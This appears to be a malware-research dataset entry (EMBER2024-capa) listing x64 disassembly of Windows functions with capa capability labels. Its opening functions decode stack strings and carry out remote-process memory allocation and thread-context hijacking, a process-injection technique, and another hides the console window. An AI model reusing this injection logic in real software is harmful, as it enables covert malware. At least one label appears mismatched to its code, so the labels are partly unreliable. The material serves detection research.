joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000b7c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x560
mov rax, qword [0x140256ac0]
xor rax, rsp
mov qword [rsp + 0x550], rax
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x38]
mov rdi, rax
xor eax, eax
mov ecx, 0x4c8
rep stosb byte [rdi], al
mov dword [rsp + 0x60], 0x10000b
mov byte [rsp + 0x530], 0x47
mov byte [rsp + 0x531], 0x65
mov byte [rsp + 0x532], 0x74
mov byte [rsp + 0x533], 0x54
mov byte [rsp + 0x534], 0x68
mov byte [rsp + 0x535], 0x72
mov byte [rsp + 0x536], 0x65
mov byte [rsp + 0x537], 0x61
mov byte [rsp + 0x538], 0x64
mov byte [rsp + 0x539], 0x43
mov byte [rsp + 0x53a], 0x6f
mov byte [rsp + 0x53b], 0x6e
mov byte [rsp + 0x53c], 0x74
mov byte [rsp + 0x53d], 0x65
mov byte [rsp + 0x53e], 0x78
mov byte [rsp + 0x53f], 0x74
mov byte [rsp + 0x540], 0
lea rcx, [0x1401b7930]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rsp + 0x530]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x500], rax
lea rdx, [rsp + 0x30]
mov rax, qword [rsp + 0x570]
mov rcx, qword [rax + 8]
call qword [rsp + 0x500]
test eax, eax
jne 0x14000b8d7
xor eax, eax
jmp 0x14000ba58
mov rax, qword [rsp + 0x578]
mov qword [rsp + 0x128], rax
mov byte [rsp + 0x508], 0x53
mov byte [rsp + 0x509], 0x65
mov byte [rsp + 0x50a], 0x74
mov byte [rsp + 0x50b], 0x54
mov byte [rsp + 0x50c], 0x68
mov byte [rsp + 0x50d], 0x72
mov byte [rsp + 0x50e], 0x65
mov byte [rsp + 0x50f], 0x61
mov byte [rsp + 0x510], 0x64
mov byte [rsp + 0x511], 0x43
mov byte [rsp + 0x512], 0x6f
mov byte [rsp + 0x513], 0x6e
mov byte [rsp + 0x514], 0x74
mov byte [rsp + 0x515], 0x65
mov byte [rsp + 0x516], 0x78
mov byte [rsp + 0x517], 0x74
mov byte [rsp + 0x518], 0
lea rcx, [0x1401b7950]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rsp + 0x508]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x548], rax
lea rdx, [rsp + 0x30]
mov rax, qword [rsp + 0x570]
mov rcx, qword [rax + 8]
call qword [rsp + 0x548]
test eax, eax
jne 0x14000b9b8
xor eax, eax
jmp 0x14000ba58
mov byte [rsp + 0x520], 0x52
mov byte [rsp + 0x521], 0x65
mov byte [rsp + 0x522], 0x73
mov byte [rsp + 0x523], 0x75
mov byte [rsp + 0x524], 0x6d
mov byte [rsp + 0x525], 0x65
mov byte [rsp + 0x526], 0x54
mov byte [rsp + 0x527], 0x68
mov byte [rsp + 0x528], 0x72
mov byte [rsp + 0x529], 0x65
mov byte [rsp + 0x52a], 0x61
mov byte [rsp + 0x52b], 0x64
mov byte [rsp + 0x52c], 0
lea rcx, [0x1401b7970]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rsp + 0x520]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x570]
mov rcx, qword [rax + 8]
call qword [rsp + 0x20]
mov eax, 1
mov rcx, qword [rsp + 0x550]
xor rcx, rsp
call fcn.14018ba90
add rsp, 0x560
pop rdi
ret
Function at 0x14000ba80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x190
mov rax, qword [0x140256ac0]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov byte [rsp + 0x80], 0
lea rax, [rsp + 0x81]
mov rdi, rax
xor eax, eax
mov ecx, 0xfe
rep stosb byte [rdi], al
mov byte [rsp + 0x38], 0x47
mov byte [rsp + 0x39], 0x65
mov byte [rsp + 0x3a], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x3b], 0x53
mov byte [rsp + 0x3c], 0x79
mov byte [rsp + 0x3d], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x3e], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x3f], 0x65
mov byte [rsp + 0x40], WSASetLastError
mov byte [rsp + 0x41], 0x44
mov byte [rsp + 0x42], 0x69
mov byte [rsp + 0x43], reloc.OLEAUT32.dll_VarBstrFromDisp
mov byte [rsp + 0x44], 0x65
mov byte [rsp + 0x45], 0x63
mov byte [rsp + 0x46], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x47], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x48], reloc.OLEAUT32.dll_VarBstrFromDisp
mov byte [rsp + 0x49], 0x79
mov byte [rsp + 0x4a], 0x41
mov byte [rsp + 0x4b], 0
lea rcx, [0x1401b7990]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rsp + 0x38]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
mov edx, 0xff
lea rcx, [rsp + 0x80]
call qword [rsp + 0x68]
mov byte [rsp + 0x83], 0
mov rdx, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x80]
call fcn.14000b590
test eax, eax
jne 0x14000bb81
xor eax, eax
jmp 0x14000bc5d
mov byte [rsp + 0x58], 0x56
mov byte [rsp + 0x59], 0x69
mov byte [rsp + 0x5a], reloc.OLEAUT32.dll_VarBstrFromDisp
mov byte [rsp + 0x5b], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x5c], 0x75
mov byte [rsp + 0x5d], 0x61
mov byte [rsp + 0x5e], WSASetLastError
mov byte [rsp + 0x5f], 0x41
mov byte [rsp + 0x60], WSASetLastError
mov byte [rsp + 0x61], WSASetLastError
mov byte [rsp + 0x62], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x63], 0x63
mov byte [rsp + 0x64], 0x45
mov byte [rsp + 0x65], 0x78
mov byte [rsp + 0x66], 0
lea rcx, [0x1401b79b0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rsp + 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
movsxd rax, dword [rsp + 0x1a8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rax
xor edx, edx
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rax]
call qword [rsp + 0x50]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
je 0x14000bc47
mov r8d, dword [rsp + 0x1a8]
mov rdx, qword [rsp + 0x1a0]
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rax]
call fcn.14000b6c0
test eax, eax
jne 0x14000bc4b
xor eax, eax
jmp 0x14000bc5d
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x1b0]
call fcn.14000b7c0
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.14018ba90
add rsp, 0x190
pop rdi
ret
Function at 0x14000db10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
cmp qword [rsp + 0x50], 0
je 0x14000db38
cmp qword [rsp + 0x58], 0
jne 0x14000db3d
jmp 0x14000dc92
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x24], eax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x28], 0
jmp 0x14000db6f
mov eax, dword [rsp + 0x28]
inc eax
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x24]
sub ecx, eax
mov eax, ecx
cmp dword [rsp + 0x28], eax
jg 0x14000dc92
mov dword [rsp + 0x2c], 1
mov dword [rsp + 0x30], 0
jmp 0x14000dba1
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x20]
cmp dword [rsp + 0x30], eax
jge 0x14000dbe2
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x28]
add ecx, eax
mov eax, ecx
cdqe
mov rcx, qword [rsp + 0x50]
movzx eax, word [rcx + rax*2]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x58]
movzx ecx, word [rdx + rcx*2]
xor eax, ecx
test eax, eax
je 0x14000dbe0
mov dword [rsp + 0x2c], 0
jmp 0x14000dbe2
jmp 0x14000db97
cmp dword [rsp + 0x2c], 0
je 0x14000dc8d
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x38], eax
jmp 0x14000dc11
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x24]
cmp dword [rsp + 0x38], eax
jge 0x14000dc8d
movsxd rax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x50]
movzx eax, word [rcx + rax*2]
cmp eax, 0x7c
jne 0x14000dc88
cmp qword [rsp + 0x60], 0
je 0x14000dc65
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x38]
sub ecx, eax
mov eax, ecx
inc eax
movsxd rcx, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x50]
lea rcx, [rdx + rcx*2]
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcpynW]
jmp 0x14000dc86
mov eax, dword [rsp + 0x38]
dec eax
cdqe
mov rcx, qword [rsp + 0x50]
movzx eax, word [rcx + rax*2]
cmp eax, 0x31
jne 0x14000dc86
mov rax, qword [rsp + 0x68]
mov dword [rax], 1
jmp 0x14000dc92
jmp 0x14000dc07
jmp 0x14000db65
add rsp, 0x48
ret
Function at 0x14000dca0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov dword [rsp + 0x34], 3
mov dword [rsp + 0x30], 4
mov dword [rsp + 0x40], 4
mov dword [rsp + 0x44], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000dd21
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
xor r8d, r8d
lea rdx, [0x1401b8128]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [rsp + 0x44], 0xa
jbe 0x14000deb2
mov r8d, 0x7d0
xor edx, edx
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.14018c1e0
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
lea rax, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x34]
xor r8d, r8d
lea rdx, str.IpDate
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rax, qword [rsp + 0x60]
add rax, 0x1e
xor r9d, r9d
mov r8, rax
lea rdx, [0x1401b8148]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.14000db10
mov rax, qword [rsp + 0x60]
add rax, 0x21c
xor r9d, r9d
mov r8, rax
lea rdx, [0x1401b8150]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.14000db10
mov rax, qword [rsp + 0x60]
add rax, 0x258
mov r9, rax
xor r8d, r8d
lea rdx, [0x1401b8158]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.14000db10
mov rax, qword [rsp + 0x60]
add rax, 0x25c
xor r9d, r9d
mov r8, rax
lea rdx, [0x1401b8160]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.14000db10
mov rax, qword [rsp + 0x60]
add rax, 0x45a
xor r9d, r9d
mov r8, rax
lea rdx, [0x1401b8168]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.14000db10
mov rax, qword [rsp + 0x60]
add rax, 0x498
mov r9, rax
xor r8d, r8d
lea rdx, [0x1401b8170]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.14000db10
mov rax, qword [rsp + 0x60]
add rax, 0x49c
xor r9d, r9d
mov r8, rax
lea rdx, [0x1401b8178]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.14000db10
mov rax, qword [rsp + 0x60]
add rax, 0x69a
xor r9d, r9d
mov r8, rax
lea rdx, [0x1401b8180]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.14000db10
mov rax, qword [rsp + 0x60]
add rax, 0x6d8
mov r9, rax
xor r8d, r8d
lea rdx, [0x1401b8188]
lea rcx, str.0:db0:lk0:hs0:ld0:ll0:hb0:pj42.4_.4202:zb0.1:bb
call fcn.14000db10
add rsp, 0x58
ret
Function at 0x14000e4f0
Capabilities:
Create thread
Hide graphical window

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, eax
call qword [sym.imp.USER32.dll_PostThreadMessageA]
call qword [sym.imp.USER32.dll_GetInputState]
call fcn.14000dec0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14000e2d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x30], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x48
ret
Function at 0x14001ab68
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.14008b1a4
mov rsi, rax
test rax, rax
je 0x14001abe4
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x14001abdf
cmp dword [rbx], 0x40
jb 0x14001abdf
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageW]
bt rax, 0xd
jb 0x14001abdf
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x14001abe8
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140022680
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
xor edi, edi
xor ebx, ebx
mov rsi, rdx
mov rbp, rcx
test rdx, rdx
je 0x1400226e8
call fcn.1400792a4
mov r8d, 0xf0
mov rdx, rsi
mov r12, qword [rax + 0x18]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x1400226e8
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x14002270a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rdi
mov rcx, rbp
call fcn.14002206c
mov esi, eax
test rdi, rdi
je 0x140022708
test rbx, rbx
je 0x140022708
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
Function at 0x1400252c4
Capabilities:
Get graphical window text

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rsi
movsxd rsi, r8d
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0xc8], 0
jne 0x140025302
mov r8d, esi
mov rcx, qword [rcx + 0x40]
call qword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x1400253b6
call fcn.140062764
mov r11, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x140025321
mov ecx, 0x80004005
call fcn.14000a830
int3
mov rax, qword [rax]
mov rcx, r11
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x40], rax
mov rcx, qword [rbx + 0xc8]
mov rax, qword [rcx]
lea rdx, [rsp + 0x40]
call qword [rax + 0x118]
mov rdx, rsi
or rsi, 0xffffffffffffffff
mov r9, rsi
mov r8, qword [rsp + 0x40]
mov rcx, rdi
call fcn.14018d550
test eax, eax
je 0x140025389
cmp eax, 0xc
je 0x140025383
cmp eax, 0x16
je 0x14002537d
cmp eax, 0x22
je 0x14002537d
cmp eax, 0x50
je 0x140025389
call fcn.140010a4c
int3
call fcn.140010a4c
int3
call fcn.140010a04
int3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov ecx, esi
lock xadd dword [rdx + 0x10], ecx
add ecx, esi
test ecx, ecx
jg 0x1400253b4
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov eax, ebx
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x14003eecc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
xor ebx, ebx
mov rdi, r8
mov rsi, rdx
mov r13, rcx
test r8, r8
jne 0x14003eefd
call fcn.1400792a4
mov rdi, qword [rax + 0x18]
mov r8, qword [0x14025f318]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbp, rax
test rax, rax
jne 0x14003ef1c
xor eax, eax
jmp 0x14003ef68
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
je 0x14003ef18
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r12, rax
test rax, rax
je 0x14003ef5d
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, r12
mov rcx, r13
mov r8d, eax
call fcn.14003ed90
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x140068090
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
cmp qword [rcx + 0xb0], 0
mov edi, r9d
mov rbx, r8
mov rax, rdx
je 0x14006810a
xor r8d, r8d
call fcn.140067fc4
mov rsi, rax
test rax, rax
jne 0x1400680c6
mov eax, edi
jmp 0x140068120
lea rax, [rsp + 0x50]
lea r9, [rsp + 0x34]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
mov rdx, rbx
mov rcx, rsi
mov dword [rsp + 0x50], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
cmove edi, dword [rsp + 0x30]
jmp 0x1400680c2
mov r9, qword [rcx + 0xd8]
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x1400691f0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x140069253
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140069267
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140069267
mov rcx, qword [rbx]
and qword [rsp + 0x28], 0
xor r9d, r9d
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call rax
jmp 0x14006926c
cmp dword [rcx + 8], 0
je 0x140069267
mov rdx, r8
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp 0x14006926c
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x14006cb64
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
xor esi, esi
xor ebx, ebx
mov r12, r9
mov rdi, r8
mov rbp, rdx
mov r14, rcx
test r8, r8
je 0x14006cbd6
call fcn.1400792a4
mov r8d, 0xf0
mov rdx, rdi
mov r13, qword [rax + 0x18]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x14006cbd6
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x14006cc23
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
mov edi, 1
test rsi, rsi
je 0x14006cc03
mov r10, qword [r14]
mov r9, r12
mov r8, rsi
mov rdx, rbp
mov rcx, r14
call qword [r10 + 0x40]
mov edi, eax
test rbx, rbx
je 0x14006cc03
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
cmp qword [rbp + 0xc0], 0
je 0x14006cc21
mov rcx, qword [rbp + 0xc0]
mov rdx, r12
mov r8, qword [rcx]
call qword [r8 + 0x140]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret
Function at 0x14006ed9c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov r12, r8
mov rbx, rdx
mov r13, rcx
xor edi, edi
call fcn.1400792a4
lea r8d, [rdi + 5]
mov rbp, qword [rax + 0x18]
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rcx, rbp
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
je 0x14006edf8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov r9, rbp
mov r8, r12
mov rdx, rdi
mov rcx, r13
call fcn.14006e82c
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret

Function at 0x14006ee8c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xe0], rdx
test rdx, 0xffffffffffff0000
jne 0x14006eecb
cmp dword [rcx + 0xd8], 0
jne 0x14006eecb
movzx eax, dx
mov dword [rcx + 0xd8], eax
call fcn.1400792a4
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.14006ee30
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400c7b34
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x10]
mov rdi, rdx
test rcx, rcx
je 0x1400c7b5a
mov r8, rdx
mov rdx, qword [rbx]
call fcn.1400691f0
jmp 0x1400c7bc1
cmp byte [0x140261468], 0
jne 0x1400c7b9e
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400c7b8e
lea rdx, str.RegDeleteKeyExW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140261460], rax
jmp 0x1400c7b95
mov rax, qword [0x140261460]
mov byte [0x140261468], 1
jmp 0x1400c7ba5
mov rax, qword [0x140261460]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x1400c7bbb
mov r8d, dword [rbx + 8]
xor r9d, r9d
call rax
jmp 0x1400c7bc1
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400c7d1c
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
cmp dword [rcx + 0x28], ebx
je 0x1400c7d2d
xor eax, eax
jmp 0x1400c7d5b
mov rcx, qword [rcx + 8]
lea rax, [rsp + 0x40]
mov r9d, 4
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
sete bl
mov eax, ebx
add rsp, 0x30
pop rbx
ret